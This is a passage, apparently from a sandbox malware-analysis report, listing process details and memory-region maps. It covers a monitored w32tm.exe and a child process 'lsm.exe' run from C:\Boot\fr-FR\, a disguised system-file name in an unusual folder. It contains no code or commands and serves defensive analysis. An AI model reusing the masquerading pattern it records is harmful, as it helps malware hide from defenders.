AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5235 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5236 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5237 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 5238 start_va = 0x1a0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 5239 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5240 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5241 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5242 start_va = 0xff4e0000 end_va = 0xff4f6fff monitored = 0 entry_point = 0xff4eef50 region_type = mapped_file name = "w32tm.exe" filename = "\\Windows\\System32\\w32tm.exe" (normalized: "c:\\windows\\system32\\w32tm.exe") Region: id = 5243 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5244 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5245 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 5246 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5259 start_va = 0x50000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5260 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5261 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5262 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5263 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5264 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5265 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 5266 start_va = 0x220000 end_va = 0x286fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5267 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5268 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5269 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5270 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5290 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5291 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5292 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5293 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5294 start_va = 0x7fefe190000 end_va = 0x7fefe1dcfff monitored = 0 entry_point = 0x7fefe191070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 5295 start_va = 0x7fefe050000 end_va = 0x7fefe057fff monitored = 0 entry_point = 0x7fefe051504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 5296 start_va = 0x7fefbd80000 end_va = 0x7fefbd95fff monitored = 0 entry_point = 0x7fefbd811a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 5297 start_va = 0x7fefbd70000 end_va = 0x7fefbd7bfff monitored = 0 entry_point = 0x7fefbd718a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 5298 start_va = 0x7fefd920000 end_va = 0x7fefd942fff monitored = 0 entry_point = 0x7fefd921198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 5299 start_va = 0x7fefbd50000 end_va = 0x7fefbd64fff monitored = 0 entry_point = 0x7fefbd51050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 5300 start_va = 0x7fefd210000 end_va = 0x7fefd23ffff monitored = 0 entry_point = 0x7fefd21194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 5301 start_va = 0x7fef7990000 end_va = 0x7fef79a1fff monitored = 0 entry_point = 0x7fef799aab8 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 5302 start_va = 0x7fefb600000 end_va = 0x7fefb626fff monitored = 0 entry_point = 0x7fefb6098bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 5303 start_va = 0x7fefb5f0000 end_va = 0x7fefb5fafff monitored = 0 entry_point = 0x7fefb5f1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 5304 start_va = 0x7fefa260000 end_va = 0x7fefa286fff monitored = 0 entry_point = 0x7fefa2611a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 5331 start_va = 0x7fefe4e0000 end_va = 0x7feff267fff monitored = 0 entry_point = 0x7fefe55cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 5332 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5333 start_va = 0x7fefd6c0000 end_va = 0x7fefd6d3fff monitored = 0 entry_point = 0x7fefd6c4160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 5334 start_va = 0x290000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 5335 start_va = 0x290000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 5336 start_va = 0x400000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 5339 start_va = 0x170000 end_va = 0x198fff monitored = 0 entry_point = 0x171010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5340 start_va = 0x410000 end_va = 0x597fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 5341 start_va = 0x170000 end_va = 0x198fff monitored = 0 entry_point = 0x171010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5342 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5343 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5344 start_va = 0x5a0000 end_va = 0x720fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 5345 start_va = 0x730000 end_va = 0x1b2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 5346 start_va = 0x50000 end_va = 0x56fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "w32tm.exe.mui" filename = "\\Windows\\System32\\en-US\\w32tm.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\w32tm.exe.mui") Region: id = 5347 start_va = 0x70000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 5348 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 5349 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 5350 start_va = 0x180000 end_va = 0x180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5351 start_va = 0x190000 end_va = 0x196fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5352 start_va = 0x180000 end_va = 0x180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\System32\\tzres.dll" (normalized: "c:\\windows\\system32\\tzres.dll") Region: id = 5353 start_va = 0x190000 end_va = 0x196fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\System32\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\tzres.dll.mui") Region: id = 5354 start_va = 0x1b30000 end_va = 0x1dfefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5355 start_va = 0x7fefd3c0000 end_va = 0x7fefd414fff monitored = 0 entry_point = 0x7fefd3c1054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 5356 start_va = 0x7fefcdc0000 end_va = 0x7fefcdc6fff monitored = 0 entry_point = 0x7fefcdc14b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 5357 start_va = 0x7fefd3b0000 end_va = 0x7fefd3b6fff monitored = 0 entry_point = 0x7fefd3b142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 5358 start_va = 0x7fefd240000 end_va = 0x7fefd29afff monitored = 0 entry_point = 0x7fefd246940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 5359 start_va = 0x1e00000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 5360 start_va = 0x20e0000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 5361 start_va = 0x7fef9c00000 end_va = 0x7fef9c07fff monitored = 0 entry_point = 0x7fef9c01414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 5362 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5363 start_va = 0x7fefb3e0000 end_va = 0x7fefb432fff monitored = 0 entry_point = 0x7fefb3e2b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5364 start_va = 0x2160000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Thread: id = 225 os_tid = 0x9c4 Thread: id = 227 os_tid = 0x9d8 Process: id = "71" image_name = "lsm.exe" filename = "c:\\boot\\fr-fr\\lsm.exe" page_root = "0x3a67a000" os_pid = "0x9cc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "C:\\Boot\\fr-FR\\lsm.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5483 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5484 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5485 start_va = 0x120000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 5486 start_va = 0x11a0000 end_va = 0x1277fff monitored = 1 entry_point = 0x126f1ee region_type = mapped_file name = "lsm.exe" filename = "\\Boot\\fr-FR\\lsm.exe" (normalized: "c:\\boot\\fr-fr\\lsm.exe") Region: id = 5487 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5488 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5489 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5490 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5491 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5492 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 5493 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5494 start_va = 0x40000 end_va = 0xbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 5495 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 5496 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5497 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5498 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5499 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5500 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5501 start_va = 0xc0000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 5502 start_va = 0x220000 end_va = 0x286fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5503 start_va = 0x290000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 5625 start_va = 0x390000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 5626 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5627 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5628 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5629 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5630 start_va = 0xc0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 5631 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 5632 start_va = 0x390000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 5633 start_va = 0x530000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 5634 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5635 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5766 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5767 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5768 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5769 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5770 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5771 start_va = 0x490000 end_va = 0x4b8fff monitored = 0 entry_point = 0x491010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5772 start_va = 0x5b0000 end_va = 0x737fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 5773 start_va = 0x490000 end_va = 0x4b8fff monitored = 0 entry_point = 0x491010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5774 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5775 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5778 start_va = 0x740000 end_va = 0x8c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 5779 start_va = 0x1280000 end_va = 0x267ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001280000" filename = "" Region: id = 5780 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5781 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 5782 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 5783 start_va = 0x8d0000 end_va = 0x9a0fff monitored = 1 entry_point = 0x99f1ee region_type = mapped_file name = "lsm.exe" filename = "\\Boot\\fr-FR\\lsm.exe" (normalized: "c:\\boot\\fr-fr\\lsm.exe") Region: id = 5784 start_va = 0x8d0000 end_va = 0x9a0fff monitored = 1 entry_point = 0x99f1ee region_type = mapped_file name = "lsm.exe" filename = "\\Boot\\fr-FR\\lsm.exe" (normalized: "c:\\boot\\fr-fr\\lsm.exe") Region: id = 5785 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5786 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5787 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5788 start_va = 0x7fef1520000 end_va = 0x7fef1fe6fff monitored = 1 entry_point = 0x7fef15263a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5789 start_va = 0x7fef79b0000 end_va = 0x7fef79c5fff monitored = 0 entry_point = 0x7fef79bc000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5790 start_va = 0x7fef3df0000 end_va = 0x7fef3eacfff monitored = 0 entry_point = 0x7fef3e77db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5878 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 5879 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 6282 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 6283 start_va = 0x7fe91ec0000 end_va = 0x7fe91ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ec0000" filename = "" Region: id = 6284 start_va = 0x7fe91ed0000 end_va = 0x7fe91edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ed0000" filename = "" Region: id = 6285 start_va = 0x7fe91ee0000 end_va = 0x7fe91f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91ee0000" filename = "" Region: id = 6286 start_va = 0x7fe91f70000 end_va = 0x7fe91fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91f70000" filename = "" Region: id = 6287 start_va = 0x490000 end_va = 0x490fff monitored = 1 entry_point = 0x0 region_type = private name = 